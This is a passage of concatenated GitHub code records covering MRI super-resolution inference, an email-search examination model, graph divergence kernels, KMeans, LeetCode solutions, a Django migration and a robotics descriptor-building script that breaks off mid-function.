model(lr).detach().cpu().numpy()\n            \n            for batch_idx in range(mask.shape[0]):\n                x, y, z = mask[batch_idx]\n                hr_e_vol[:, x*2:x*2+2, y*2:y*2+2, z*2:z*2+2] = hr_e[batch_idx]\n            print(f'\\r{idx}/{len(test_loader)}', end='')\n\n        dwi_b0 = hf[\"hr_b0\"]\n        np.clip(hr_e_vol, 0, 1, out=hr_e_vol)\n        for dif in range(288):\n            hr_e_vol[dif] *= dwi_b0\n\n        hr_vol = np.empty((288, 145, 174, 145), dtype=np.float32)\n        hr_vol[:, :-1, :, :-1] = hr_e_vol[:, 4:-4, 4:-4, 4:-4]\n        hr_vol = np.transpose(hr_vol, (1, 2, 3, 0))\n\n        with open(f\"./data/test_h5/{subject}/header\", \"rb\") as f:\n            dwi_header = pickle.load(f)\n\n        os.makedirs(f'{output_dir}/{subject}', exist_ok=True)\n        ni_img = nib.Nifti1Image(hr_vol, None, header=dwi_header)\n        nib.save(ni_img, f'{output_dir}/{subject}/data.nii.gz')","repo_name":"Snailpong/dwi_angular","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1359147016","text":"''' model for personalized email search\n'''\nimport torch\nimport torch.nn as nn\nfrom others.logging import logger\n\nclass ExaminationModel(nn.Module):\n    ''' examination model that learns the propensity of examing each position\n    '''\n    g_max_relevance_pos = 10\n    g_max_datetime_pos = 50\n\n    def __init__(self, embedding_size, dropout=0.0):\n        super(ExaminationModel, self).__init__()\n        self.embedding_size = embedding_size // 2\n        # response_requested, importance, is_read, flag_status, email_class\n        # conversation_hash, subject_prefix_hash\n        # embeddings for query discrete features\n        self.relevance_pos_emb = nn.Embedding(\n            self.g_max_relevance_pos + 1,\n            self.embedding_size,\n            padding_idx=0)\n        self.datetime_pos_emb = nn.Embedding(\n            self.g_max_datetime_pos + 1,\n            self.embedding_size,\n            padding_idx=0)\n        self.mlp_layer = nn.Linear(2 * self.embedding_size, self.embedding_size)\n        self.final_layer = nn.Linear(self.embedding_size, 1)\n        self.dropout_layer = nn.Dropout(p=dropout)\n\n    def forward(self, batch_rel_pos, batch_time_pos):\n        \"\"\" batch_rel_pos: batch_size, max_doc_count(50) relevance position\n            batch_time_pos: batch_size, max_doc_count(50) datetime position\n        \"\"\"\n        # cut position -1 to 0\n        batch_rel_pos = torch.clamp(batch_rel_pos, min=0, max=self.g_max_relevance_pos)\n        batch_time_pos = torch.clamp(batch_time_pos, min=0, max=self.g_max_datetime_pos)\n        doc_mask = batch_rel_pos.ne(0) | batch_time_pos.ne(0)\n        # documents that are shown in either window\n        hidden0 = torch.cat([self.relevance_pos_emb(batch_rel_pos), \\\n            self.datetime_pos_emb(batch_time_pos)], dim=-1)\n        # batch_size, max_doc_count, 2*embedding_size\n        hidden1 = torch.tanh(self.mlp_layer(hidden0))\n        hidden1 = self.dropout_layer(hidden1)\n        final_output = torch.tanh(self.final_layer(hidden1))\n        final_output = final_output.squeeze(-1) * doc_mask.float()\n        # batch_size, max_doc_count\n        return final_output\n\n    def initialize_parameters(self, logger=None):\n        if logger:\n            logger.info(\"ExaminationModel initialization started.\")\n        # embeddings for query discrete features\n        nn.init.normal_(self.relevance_pos_emb.weight)\n        nn.init.normal_(self.datetime_pos_emb.weight)\n\n        for name, p in self.named_parameters():\n            if \"W1.weight\" in name:\n                if logger:\n                    logger.info(\" {} ({}): Xavier normal init.\".format(\n                        name, \",\".join([str(x) for x in p.size()])))\n                nn.init.xavier_normal_(p)\n            elif \"W1.bias\" in name:\n                if logger:\n                    logger.info(\" {} ({}): constant (0) init.\".format(\n                        name, \",\".join([str(x) for x in p.size()])))\n                nn.init.constant_(p, 0)\n        if logger:\n            logger.info(\"ExaminationModel initialization finished.\")\n","repo_name":"kepingbi/EmailSearch","sub_path":"models/examination_model.py","file_name":"examination_model.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74426233651","text":"__author__ = 'AH0137307'\nfrom operator import attrgetter\n\n\nclass MasterUtils(object):\n\n    @classmethod\n    def adjust_version_instants(cls, now, from_time, to_time, documents):\n        for doc in documents:\n            from_instant = doc.get_version_from_instant()\n            if from_instant is None:\n                doc.set_version_from_instant(from_time)\n        copy = documents[:]\n        copy = sorted(copy, key=attrgetter('version_from_instant'))\n        latest_document_version_to = copy[-1].version_to_instant()\n        prev_document = None\n        for doc in copy:\n            if latest_document_version_to is None:\n                doc.set_version_to_instant(to_time)\n                if prev_document is not None:\n                    prev_document.set_version_to_instant(doc.get_version_from_instant())\n            else:\n                doc.set_version_to_instant(latest_document_version_to)\n            prev_document = doc\n            doc.set_correction_from_instant(now)\n            doc.set_correction_to_instant(None)\n        return copy\n\n    @classmethod\n    def map_to_unique_ids(cls, documents):\n        return map(lambda x: x.get_unique_id(), documents)\n","repo_name":"tylerrbowen/sample","sub_path":"utils/master_utils.py","file_name":"master_utils.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72163982772","text":"r\"\"\"DDGK: Learning Graph Representations for Deep Divergence Graph Kernels.\n\n===============================\nThis is the implementation of the WWW 2019 paper,\n[DDGK: Learning Graph Representations for Deep Divergence Graph Kernels]\n(https://ai.google/research/pubs/pub47867).\n\nThe included code creates a Deep Divergence Graph Kernel as introduced in the\npaper. The implementation makes use of the data sets collected here.\n\nA distributed version of this implementation is necessary for large data sets.\n------\nIf you find Deep Divergence Graph Kernels useful in your research, we ask that\nyou cite the following paper:\n> Al-Rfou, R., Zelle, D., Perozzi, B., (2019).\n> DDGK: Learning Graph Representations for Deep Divergence Graph Kernels.\n> In _The Web Conference_.\nExample execution\n------\n# From google-research/\npython3 -m graph_embedding.ddgk.main --data_set=${ds} --working_dir=~/tmp\n\nWhere ${ds} is a data set as formatted [here]\n(https://ls11-www.cs.tu-dortmund.de/staff/morris/graphkerneldatasets)\n\"\"\"\nimport networkx as nx\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nfrom tf_slim import training as contrib_training\n\n\ndef MutagHParams():\n  class HParams(object):\n    def __init__(self):\n      # The size of node embeddings.\n      self.embedding_size=4\n      # The number of layers in the DNN.\n      self.num_dnn_layers=4\n      # The window to average for scoring loss and accuracy calculation.\n      self.score_window=10\n      # The adam learning rate\n      self.learning_rate=.01\n      # The steps for training.\n      self.train_num_epochs=600\n      # The steps for node mapping and scoring.\n      self.score_num_epochs=600\n      # The embedding similarity loss for node mapping.\n      self.node_embedding_loss_coefficient=.5\n      # The label preserving loss for node mapping.\n      self.node_label_loss_coefficient=.5\n      # The number of node labels.\n      self.num_node_labels=7\n      # The label preserving loss for indicent edges.\n      self.incident_label_loss_coefficient=.0\n      # The number of edge labels.\n      self.num_edge_labels=4\n  return HParams()\n\n\ndef AdjMatrixAccuracy(logits, labels):\n  predictions = tf.cast(tf.greater(tf.sigmoid(logits), .5), tf.float64)\n  accuracies = tf.cast(tf.equal(predictions, labels), tf.float64)\n\n  return tf.reduce_mean(accuracies)  # Report accuracy per edge\n\n\ndef LogitsFromProb(prob):\n  return tf.log(tf.clip_by_value(prob, 1e-12, 1.0))\n\n\ndef ProbFromCounts(counts):\n  return counts / tf.clip_by_value(\n      tf.reduce_sum(counts, axis=1, keepdims=True), 1e-9, 1e9)\n\n\ndef AdjMatrixLoss(logits, labels):\n  losses = tf.nn.sigmoid_cross_entropy_with_logits(labels=labels, logits=logits)\n  return tf.reduce_mean(losses)  # Report loss per edge\n\n\ndef NodesLabels(graph, num_labels):\n  # labels size is (graph_num_node, 1)\n  labels = [graph.node[n]['label'] for n in graph.nodes()]\n  # labels size is (graph_num_node, num_labels)\n  labels = tf.one_hot(labels, num_labels, dtype=tf.float64)\n  return ProbFromCounts(labels)\n\n\ndef NodesEmbeddings(graph):\n  # embeddings size is (graph_num_node, D) where D is the size of embeddings\n  embeddings = [graph.node[n]['embedding'] for n in graph.nodes()]\n  assert len(set(map(len, embeddings))) == 1, 'Some embeddings have different size'\n  return tf.convert_to_tensor(embeddings, dtype=tf.float64)\n\n\ndef EdgesLabels(graph, num_labels):\n  labels = np.zeros((graph.number_of_nodes(), num_labels))\n\n  for i, n in enumerate(graph.nodes()):\n    for u, v in graph.edges(n):\n      labels[i, graph[u][v]['label']] += 1.0\n\n  return ProbFromCounts(labels)\n\n\ndef NodeLabelLoss(source, source_node_prob, target, num_labels):\n  # source_labels size is (source_num_node, num_labels)\n  source_labels = NodesLabels(source, num_labels)\n\n  # target_labels size is (target_num_node, num_labels)\n  target_labels = NodesLabels(target, num_labels)\n  # We take the log because the result of the multiplication is already a\n  # probability.\n  logits = LogitsFromProb(tf.matmul(source_node_prob, source_labels))\n  losses = tf.nn.softmax_cross_entropy_with_logits_v2(\n      labels=target_labels, logits=logits)\n\n  # Report error per node.\n  return tf.reduce_mean(losses)\n\n\ndef NodeEmbeddingLoss(source, source_node_prob, target):\n  # source_embeddings size is (source_num_node, D) and is normalized\n  source_embeddings = tf.linalg.l2_normalize(NodesEmbeddings(source), axis=1)\n\n  # target_embeddings size is (target_num_node, D) and is normalized\n  target_embeddings = tf.linalg.l2_normalize(NodesEmbeddings(target), axis=1)\n\n  predicted_embeddings = tf.matmul(source_node_prob, source_embeddings)\n\n  # The reduction is actually a mean\n  return tf.cast(tf.losses.cosine_distance(predicted_embeddings, target_embeddings, axis=1, reduction=tf.losses.Reduction.SUM_OVER_BATCH_SIZE), tf.float64)\n\n\ndef EdgeLabelLoss(source, source_node_prob, target, num_labels):\n  source_labels = EdgesLabels(source, num_labels)\n  target_labels = EdgesLabels(target, num_labels)\n\n  logits = LogitsFromProb(tf.matmul(source_node_prob, source_labels))\n  losses = tf.nn.softmax_cross_entropy_with_logits_v2(\n      labels=target_labels, logits=logits)\n\n  return tf.reduce_mean(losses)\n\n\ndef Encode(source, ckpt_prefix, hparams):\n  '''Encode a source graph using an auto-encoder.\n  The trained parameters are saved to file'''\n  tf.logging.set_verbosity(tf.logging.ERROR)\n  tf.reset_default_graph()\n\n  g = tf.Graph()\n  session = tf.Session(graph=g)\n\n  with g.as_default(), session.as_default():\n    A = nx.adjacency_matrix(source, weight=None)\n\n    # We want to predict the neighbours (y) for a single node (x)\n    x = tf.one_hot(\n        list(source.nodes()), source.number_of_nodes(), dtype=tf.float64)\n    y = tf.convert_to_tensor(A.todense(), dtype=tf.float64)\n\n    # Create an autoencoder for the source graph\n    layer = tf.layers.dense(x, hparams.embedding_size, use_bias=False)\n    for _ in range(hparams.num_dnn_layers):\n      layer = tf.layers.dense(\n          layer, hparams.embedding_size * 4, activation=tf.nn.tanh)\n    logits = tf.layers.dense(\n        layer, source.number_of_nodes(), activation=tf.nn.tanh)\n\n    loss = AdjMatrixLoss(logits, y)\n\n    train_op = contrib_training.create_train_op(\n        loss,\n        tf.train.AdamOptimizer(hparams.learning_rate),\n        summarize_gradients=False)\n\n    # Initialize all variables\n    session.run(tf.global_variables_initializer())\n\n    for _ in range(hparams.train_num_epochs):\n      session.run(train_op)\n\n    # Save the trained params of the autoencoder\n    tf.train.Saver(tf.trainable_variables()).save(session, ckpt_prefix)\n\n\ndef Score(source, target, ckpt_prefix, hparams, return_attention=False):\n  '''Calculate a divergence score of 'target' from 'source'.\n  'source' must have been encoded with Encode before.\n  Both are networkx graphs, the encoding is saved to file.\n  '''\n  tf.logging.set_verbosity(tf.logging.ERROR)\n  tf.reset_default_graph()\n\n  g = tf.Graph()\n  session = tf.Session(graph=g)\n\n  with g.as_default(), session.as_default():\n    A = nx.adjacency_matrix(target, weight=None) # Sparse adjacency matrix\n\n    # We want to predict the neighbours (y) for a single node (x)\n    x = tf.one_hot(\n        list(target.nodes()), target.number_of_nodes(), dtype=tf.float64)\n    y = tf.convert_to_tensor(A.todense(), dtype=tf.float64)\n\n    # Create the structure and trainable variables for the first attention layer\n    with tf.variable_scope('attention'):\n      attention = tf.layers.dense(x, source.number_of_nodes(), use_bias=False)\n      source_node_prob = tf.nn.softmax(attention)\n\n    # Build the source graph encoder structure (same as in the Encode function)\n    layer = tf.layers.dense(\n        source_node_prob, hparams.embedding_size, use_bias=False)\n    for _ in range(hparams.num_dnn_layers):\n      layer = tf.layers.dense(\n          layer, hparams.embedding_size * 4, activation=tf.nn.tanh)\n    logits = tf.layers.dense(\n        layer, source.number_of_nodes(), activation=tf.nn.tanh)\n\n    # Create the structure and trainable variables for the reverse attention layer\n    with tf.variable_scope('attention_reverse'):\n      attention_reverse = tf.layers.dense(logits, target.number_of_nodes())\n      target_neighbors_pred = tf.nn.sigmoid(attention_reverse)\n      target_neighbors_prob = ProbFromCounts(target_neighbors_pred)\n\n    loss = AdjMatrixLoss(attention_reverse, y)\n\n    if hparams.node_label_loss_coefficient:\n      nodes_label_loss = NodeLabelLoss(source, source_node_prob, target,\n                                 hparams.num_node_labels)\n      loss += nodes_label_loss * hparams.node_label_loss_coefficient\n\n    if hparams.node_embedding_loss_coefficient:\n      nodes_loss = NodeEmbeddingLoss(source, source_node_prob, target)\n      loss += nodes_loss * hparams.node_embedding_loss_coefficient\n\n    if hparams.incident_label_loss_coefficient:\n      edge_loss = EdgeLabelLoss(source, source_node_prob, target,\n                                hparams.num_edge_labels)\n      loss += edge_loss * hparams.incident_label_loss_coefficient\n\n    vars_to_restore = tf.get_collection(\n        tf.GraphKeys.GLOBAL_VARIABLES, scope='(?!attention)')\n    vars_to_train = tf.get_collection(\n        tf.GraphKeys.TRAINABLE_VARIABLES, scope='attention')\n\n    train_op = contrib_training.create_train_op(\n        loss,\n        tf.train.AdamOptimizer(hparams.learning_rate),\n        variables_to_train=vars_to_train,\n        summarize_gradients=False)\n\n    session.run(tf.global_variables_initializer())\n\n    tf.train.Saver(vars_to_restore).restore(session, ckpt_prefix)\n\n    losses = []\n\n    for _ in range(hparams.score_num_epochs):\n      losses.append(session.run([train_op, loss])[1])\n\n  if return_attention:\n      return losses[-hparams.score_window:], session.run(source_node_prob)\n  else:\n      return losses[-hparams.score_window:]\n","repo_name":"disi-unibo-nlp/ddegk","sub_path":"src/ddgk/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"33841381219","text":"class Solution:\n    def lengthOfLongestSubstring(self, s: str) -> int:\n        char_set = set()\n        l = 0\n        res = 0\n\n        for r in range(len(s)):\n\n            # while the rightmost found character exists as a duplicate in the set, keep removing from the left until it's removed.\n            # note that all elements to the left of the duplicate character will have to be removed in order to preserve the \"subsequence-ness\"\n            while s[r] in char_set:\n                char_set.remove(s[l])\n                l += 1\n\n            # this will take care of both cases of adding newly found character and adding back the duplicate character after all (one) occurence has been removed\n            char_set.add(s[r])\n\n            # set res to the gap between r and l\n            res = max(res, r - l + 1)\n\n        return res","repo_name":"rajdeep-biswas/Note-and-Code","sub_path":"Leetcode/3. Longest Substring Without Repeating Characters.py","file_name":"3. Longest Substring Without Repeating Characters.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17018651235","text":"from ml.base import Estimator\nfrom ml.knn import KNN\nfrom ml.distances import EuclideanSq\nimport numpy as np\n\n\nclass KMeans(Estimator):\n    def __init__(self, k: int, distance=EuclideanSq(), max_iter=300, tol=1e-4, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.k = k\n        self.distance = distance\n        self.max_iter = max_iter\n        self.tol = tol\n        self.knn = KNN(1, distance, 'vote', *args, **kwargs)\n        self.means = None\n\n    def fit(self, x: np.ndarray, _=None):\n        feat_size = x.shape[-1]\n        self.means = x[np.random.permutation(x.shape[0])[:self.k]]\n        prev_means = self.means\n\n        assignment = [[] for _ in range(self.k)]\n        for i in range(self.max_iter):\n            x_clusters = self.assign_clusters(x)\n            for j, c in enumerate(x_clusters):\n                assignment[c].append(x[j])\n            self.means = np.asarray([np.mean(v, axis=0) for v in assignment])\n\n            if np.linalg.norm(self.means - prev_means) <= self.tol:\n                break\n\n    def assign_clusters(self, x: np.ndarray):\n        self.knn.fit(self.means, np.asarray([j for j in range(self.k)]))\n        return self.knn.predict(x)\n\n    def predict(self, x: np.ndarray) -> np.ndarray:\n        return self.assign_clusters(x)\n\n\ndef test():\n    from sklearn.cluster import KMeans as Standard\n\n    x = np.random.rand(50, 16) * 10\n    kmeans = KMeans(k=4, max_iter=100, random_state=42)\n    standard = Standard(n_clusters=4, init='random', max_iter=100, random_state=42)\n\n    kmeans.fit(x)\n    standard.fit(x)\n\n    x_test = np.random.rand(10, 16)\n    assert np.allclose(kmeans.predict(x_test), standard.predict(x_test))\n","repo_name":"tjysdsg/ml","sub_path":"ml/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24019422052","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('api', '0031_auto_20150618_1400'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='RecommendedTell',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('type', models.CharField(default=b'Hobby', max_length=255, verbose_name='Type', db_index=True, choices=[(b'Hobby', b'Hobby'), (b'Mind', b'Mind'), (b'Passion', b'Passion')])),\n                ('contents', models.TextField(verbose_name='Contents', db_index=True)),\n                ('photo', models.CharField(max_length=255, verbose_name='Photo', db_index=True)),\n                ('inserted_at', models.DateTimeField(auto_now_add=True, verbose_name='Inserted At', db_index=True)),\n                ('updated_at', models.DateTimeField(auto_now=True, verbose_name='Updated At', db_index=True)),\n            ],\n            options={\n                'ordering': ('-id',),\n                'db_table': 'api_recommended_tells',\n                'verbose_name': 'Recommended Tell',\n                'verbose_name_plural': 'Recommended Tells',\n            },\n        ),\n    ]\n","repo_name":"mahendrakalkura/tellecast","sub_path":"api/migrations/0032_recommendedtell.py","file_name":"0032_recommendedtell.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18750413968","text":"#!/usr/bin/env python3\n# https://leetcode.com/problems/combination-sum/\n\nimport unittest\nfrom typing import List\n\n\nclass Solution:\n    # pylint: disable=R0913\n    def __combinationSum(self, candidates, target, path, total, index, combos):\n        if total == target:\n            combos.append(path.copy())\n            return\n        inner = path.copy()\n        partial = 0\n        while partial <= target - total and index < len(candidates):\n            self.__combinationSum(\n                candidates, target, inner, total + partial, index + 1, combos\n            )\n            inner.append(candidates[index])\n            partial += candidates[index]\n\n    def combinationSum(\n        self, candidates: List[int], target: int\n    ) -> List[List[int]]:\n        combos: List[List[int]] = []\n        self.__combinationSum(candidates, target, [], 0, 0, combos)\n        return combos\n\n\nclass TestCode(unittest.TestCase):\n    @staticmethod\n    def cmp_to_key(mycmp):  # pragma: no cover\n        class K:\n            def __init__(self, obj, *_):\n                self.obj = obj\n\n            def __lt__(self, other):\n                return mycmp(self.obj, other.obj) < 0\n\n            def __gt__(self, other):\n                return mycmp(self.obj, other.obj) > 0\n\n            def __eq__(self, other):\n                return mycmp(self.obj, other.obj) == 0\n\n            def __le__(self, other):\n                return mycmp(self.obj, other.obj) <= 0\n\n            def __ge__(self, other):\n                return mycmp(self.obj, other.obj) >= 0\n\n            def __ne__(self, other):\n                return mycmp(self.obj, other.obj) != 0\n\n        return K\n\n    @staticmethod\n    def deep_comparator(list1, list2):  # pragma: no cover\n        if len(list1) < len(list2):\n            return -1\n        if len(list1) > len(list2):\n            return 1\n        for list1i, list2i in zip(list1, list2):\n            if list1i < list2i:\n                return -1\n            if list1i > list2i:\n                return 1\n        return 0\n\n    def test_example(self):\n        candidates = [2, 3, 6, 7]\n        expected = [[7], [2, 2, 3]]\n        combos = Solution().combinationSum(candidates, 7)\n        for listed in combos:\n            listed.sort()\n        combos = sorted(\n            combos, key=TestCode.cmp_to_key(TestCode.deep_comparator)\n        )\n        self.assertEqual(len(expected), len(combos))\n        i = 0\n        while i < len(expected):\n            self.assertEqual(len(expected[i]), len(combos[i]))\n            j = 0\n            while j < len(expected[i]):\n                self.assertEqual(expected[i][j], int(combos[i][j]))\n                j += 1\n            i += 1\n","repo_name":"altermarkive/training","sub_path":"algorithms/code/leetcode/lc039_combination_sum/lc039_combination_sum.py","file_name":"lc039_combination_sum.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"70113538932","text":"import os, os.path as osp\nimport sys\nimport random\nimport numpy as np\nimport torch\nimport copy\nimport trimesh\n\nfrom airobot import log_info, log_warn, log_debug, log_critical\n\nfrom rndf_robot.utils import util\nfrom rndf_robot.opt.optimizer import OccNetOptimizer\n\n\ndef infer_relation_intersection(mc_vis, parent_optimizer, child_optimizer, parent_target_desc, child_target_desc, \n                                parent_pcd, child_pcd, parent_query_points, child_query_points, opt_visualize=False, visualize=False,\n                                *args, **kwargs):\n    out_parent_feat = parent_optimizer.optimize_transform_implicit(parent_pcd, ee=True, return_score_list=True, return_final_desc=True, target_act_hat=parent_target_desc, visualize=opt_visualize)\n    parent_feat_pose_mats, best_parent_idx, desc_dist_parent, desc_parent = out_parent_feat\n\n    parent_feat_pose_mat = parent_feat_pose_mats[best_parent_idx]\n    child_query_points = util.transform_pcd(parent_query_points, parent_feat_pose_mats[best_parent_idx])\n    child_optimizer.set_query_points(child_query_points)\n\n    # now we want to do the same thing relative to the child objects\n    out_child_feat = child_optimizer.optimize_transform_implicit(child_pcd, ee=False, return_score_list=True, return_final_desc=True, target_act_hat=child_target_desc, visualize=opt_visualize)\n    child_feat_pose_mats, best_child_idx, desc_dist_child, desc_child = out_child_feat\n\n    child2parent_feat_pose_mat = child_feat_pose_mats[best_child_idx]\n    parent2child_feat_pose_mat = np.linalg.inv(child2parent_feat_pose_mat)\n    child_feat_pose_mat = np.matmul(parent2child_feat_pose_mat, parent_feat_pose_mat)\n    transformed_child_feat_pose_mat = np.matmul(child2parent_feat_pose_mat, child_feat_pose_mat)\n\n    if visualize:\n        util.meshcat_frame_show(mc_vis, 'scene/parent_feat_pose', parent_feat_pose_mat)\n        util.meshcat_frame_show(mc_vis, 'scene/child_feat_pose', child_feat_pose_mat)\n        util.meshcat_frame_show(mc_vis, 'scene/transformed_child_feat_pose', transformed_child_feat_pose_mat)\n    \n    # finally, the relative pose we should execute is here\n    relative_transformation = child_feat_pose_mats[best_child_idx]\n    return relative_transformation\n\n\ndef filter_parent_child_pcd(pf_pcd, cf_pcd):\n    # filter out some noisy points\n\n    # pf_inliers = np.where(pf_pcd[:, 2] > 0.025)[0]\n    # pf_pcd = pf_pcd[pf_inliers]\n\n    # pf_mean = np.mean(pf_pcd, axis=0)\n    # pf_inliers = np.where(np.linalg.norm(pf_pcd[:, :-1] - pf_mean[:-1], 2, 1) < 0.2)[0]\n    # pf_pcd = pf_pcd[pf_inliers]\n\n    pf_mean = np.mean(pf_pcd, axis=0)\n    pf_inliers = np.where(np.linalg.norm(pf_pcd - pf_mean, 2, 1) < 0.2)[0]\n    pf_pcd = pf_pcd[pf_inliers]\n\n    cf_mean = np.mean(cf_pcd, axis=0)\n    cf_inliers = np.where(np.linalg.norm(cf_pcd - cf_mean, 2, 1) < 0.2)[0]\n    # cf_inliers = np.where(np.linalg.norm(cf_pcd - cf_mean, 2, 1) < 0.1)[0]\n    cf_pcd = cf_pcd[cf_inliers]\n    return pf_pcd, cf_pcd\n\n\ndef keypoint_offset(cf_pcd, offset=0.025, type='bottom'):\n    assert type in ['bottom', 'top', 'mean'], 'Invalid keypoint offset type!'\n    keypoint_trans = np.mean(cf_pcd, axis=0)\n\n    # this assumes top/bottom are aligned with the z-axis! \n    if type == 'bottom':\n        keypoint_trans[2] = np.min(cf_pcd[:, 2])\n        keypoint_trans[2] -= offset\n    elif type == 'top':\n        keypoint_trans[2] = np.max(cf_pcd[:, 2])\n        keypoint_trans[2] += offset\n\n    return keypoint_trans\n\n\ndef create_target_descriptors(parent_model, child_model, pc_demo_dict, target_desc_fname, \n                              cfg, query_scale=0.025, opt_iterations=650, \n                              scale_pcds=False, manual_kp_adjustment=False,\n                              alignment_rounds=3, target_rounds=1, pc_reference='parent', \n                              skip_alignment=False, n_demos='all', manual_target_idx=-1,\n                              add_noise=False, interaction_pt_noise_std=0.01, \n                              use_keypoint_offset=False, keypoint_offset_params=None,\n                              visualize=False, mc_vis=None):\n    \"\"\"\n    Create a .npz file containing information about a relational multi-object\n    task. Will create target pose descriptors for parent object and child\n    object, and save the set of query points that should be used at test \n    time to infer poses of local part geometry for both parent and child\n    object\n\n    Args:\n        parent_model (VNNOccNet): Parent NDF model, with weights loaded\n        child_model (VNNOccNet): Child NDF model, with weights loaded\n        pc_demo_dict (dict): Keys: ['parent', 'child'], values are dicts. Lower-level\n            dicts with keys: ['demo_final_pcds'], values are final point clouds from\n            the demonstrations for parent/child object, respectively\n        target_desc_fname (str): Name of file to save descriptors to\n        cfg (yacs.CfgNode): Contains config params for OccNetOptimizers\n        query_scale (float): Scale of Gaussian distributed query points at origin\n        opt_iterations (int): Number of OccNetOptimizer iterations to use\n        scale_pcds (bool): If True, apply a larger scaling to the point clouds in the\n            demos to encourage some intersections between the bounding boxes\n        manual_kp_adjustment (bool): If True, will allow for manual keypoint position \n            adjustment\n        alignment_rounds (int): Number of full rounds to go through all the demos, for \n            a randomly selected target demo\n        target_rounds (int): Number of times to select a random target demo\n        pc_reference (str): 'parent' or 'child', which object to use in alignment\n        skip_alignment (bool): If True, don't perform alignment of the orientations,\n            just use the estimated positions using our intersection heuristic\n        n_demos (str or int): If 'all' use all, else use the integer number\n        interaction_pt_noise_std (float): Standard deviation of noise to add for \n            noisy keypoint position experiment\n        use_keypoint_offset (bool): If True, don't use the bounding box intersection method.\n            Instead, use a manually specified offset relative to a point on the object\n        keypoint_offset_params (dict): Contains keyword arguments for passing to the\n            function which initializes the keypoint position using an offset from one \n            of the points on the object.\n        visualize (bool): If True, use meshcat to visualize what's going on while building\n            target descriptors. meshcat.Visualizer handler must be passed in if using visualization\n        mc_vis (meshcat.Visualzer): meshcat handler\n    \"\"\"\n    assert not (visualize and (mc_vis is None)), 'mc_vis cannot be None if visualize=True'\n\n    target_desc_folder = '/'.join(target_desc_fname.split('/')[:-2])\n    if osp.exists(target_desc_fname):\n        import datetime\n        import shutil\n        nowstr = datetime.datetime.now().strftime(\"%m-%d-%Y_%H-%M-%S\")\n        # save a copy of the current target desc before we overwrite it\n        backup_desc_folder = '/'.join(target_desc_fname.split('/')[:-1])\n        backup_desc_folder = osp.join(backup_desc_folder, nowstr) \n        util.safe_makedirs(backup_desc_folder)\n        log_warn(f'\\n\\n[create_target_descriptors] \\nFilename: {target_desc_fname} already exists! \\n\\nSaving to folder: {backup_desc_folder} as a backup before overwriting\\n\\n')\n\n        backup_desc_fname = osp.join(backup_desc_folder, target_desc_fname.split('/')[-1])\n        shutil.copy(target_desc_fname, backup_desc_fname) \n\n        assert osp.exists(backup_desc_fname), f'Something went wrong with backing up the descriptors to path: {backup_desc_fname}!'\n\n    # initialize set of world frame query points with specified variance\n    parent_query_points = np.random.normal(scale=query_scale, size=(500, 3))\n    child_query_points = copy.deepcopy(parent_query_points)\n\n    # create optimizers that will be used for alignment\n    parent_optimizer = OccNetOptimizer(\n        parent_model,\n        query_pts=parent_query_points,\n        query_pts_real_shape=parent_query_points,\n        opt_iterations=opt_iterations,\n        cfg=cfg.OPTIMIZER)\n\n    child_optimizer = OccNetOptimizer(\n        child_model,\n        query_pts=child_query_points,\n        query_pts_real_shape=child_query_points,\n        opt_iterations=opt_iterations,\n        cfg=cfg.OPTIMIZER)\n\n    pc_demo_dict['parent']['query_pts'] = []\n    pc_demo_dict['child']['query_pts'] = []\n\n    # one heuristic we used for creating keypoint labels is to estimate where\n    # the bounding boxes of the two shapes intersect\n    # another is to use a fixed offset away from a known task-specific point,\n    # such as the bottom of the bottle\n    # here, we are running this for each demo to get a candidate keypoint\n\n    # prepare list of keypoint translations\n    trans_list = []\n    valid_targets = []\n\n    visualize_bounding_box_intersection = False  # can set to true for extra visualizations\n    n_demos = len(pc_demo_dict['parent']['demo_final_pcds']) if n_demos == 'all' else n_demos\n    demo_idxs = np.random.permutation(len(pc_demo_dict['parent']['demo_final_pcds']))[:n_demos]\n    for i in range(len(pc_demo_dict['parent']['demo_final_pcds'])):\n        pf_pcd = pc_demo_dict['parent']['demo_final_pcds'][i]\n        cf_pcd = pc_demo_dict['child']['demo_final_pcds'][i]\n\n        # # scale these up a little bit\n        if scale_pcds:\n            pf_mean, cf_mean = np.mean(pf_pcd, axis=0), np.mean(cf_pcd, axis=0)\n            pf_pcd -= pf_mean; pf_pcd *= 1.25; pf_pcd += pf_mean\n            cf_pcd -= cf_mean; cf_pcd *= 1.25; cf_pcd += cf_mean\n\n        # get rid of some outlier artifacts that sometimes show up\n        pf_pcd, cf_pcd = filter_parent_child_pcd(pf_pcd, cf_pcd)\n\n        if visualize:\n            util.meshcat_pcd_show(mc_vis, cf_pcd, color=[0, 0, 255], name=f'scene/{i}/final_pcds_child_{i}')\n            util.meshcat_pcd_show(mc_vis, pf_pcd, color=[255, 0, 0], name=f'scene/{i}/final_pcds_parent_{i}')\n\n        if len(valid_targets) > 0:\n            print('Got at least one valid target, continuing')\n            continue\n\n        # get bounding boxes 